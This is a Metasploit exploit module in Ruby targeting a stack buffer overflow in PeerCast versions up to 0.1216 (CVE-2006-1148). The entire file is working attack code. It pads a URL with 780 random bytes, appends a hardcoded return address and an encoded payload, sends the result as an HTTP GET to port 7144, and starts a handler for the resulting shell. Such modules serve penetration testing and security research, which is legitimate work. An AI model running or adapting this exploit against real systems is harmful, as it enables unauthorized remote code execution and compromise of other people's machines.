##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = AverageRanking

  include Msf::Exploit::Remote::Tcp

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'PeerCast URL Handling Buffer Overflow',
        'Description' => %q{
          This module exploits a stack buffer overflow in PeerCast <= v0.1216.
          The vulnerability is caused due to a boundary error within the
          handling of URL parameters.
        },
        'Author' => [ 'MC' ],
        'License' => BSD_LICENSE,
        'References' => [
          ['CVE', '2006-1148'],
          ['OSVDB', '23777'],
          ['BID', '17040']
        ],
        'Privileged' => false,
        'Payload' => {
          'Space' => 200,
          'BadChars' => "\x00\x0a\x0d\x20\x0d\x2f\x3d\x3b",
          'MinNops' => 64,
        },
        'Platform' => 'linux',
        'Arch' => ARCH_X86,
        'Targets' => [
          ['PeerCast v0.1212 Binary', { 'Ret' => 0x080922f7 }],
        ],
        'DisclosureDate' => '2006-03-08',
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options([
      Opt::RPORT(7144)
    ])
  end

  def exploit
    connect

    pat = rand_text_alphanumeric(780)
    pat << [target.ret].pack('V')
    pat << payload.encoded

    uri = '/stream/?' + pat

    res = "GET #{uri} HTTP/1.0\r\n\r\n"

    print_status("Trying target address 0x%.8x..." % target.ret)
    sock.put(res)

    handler
    disconnect
  end
end
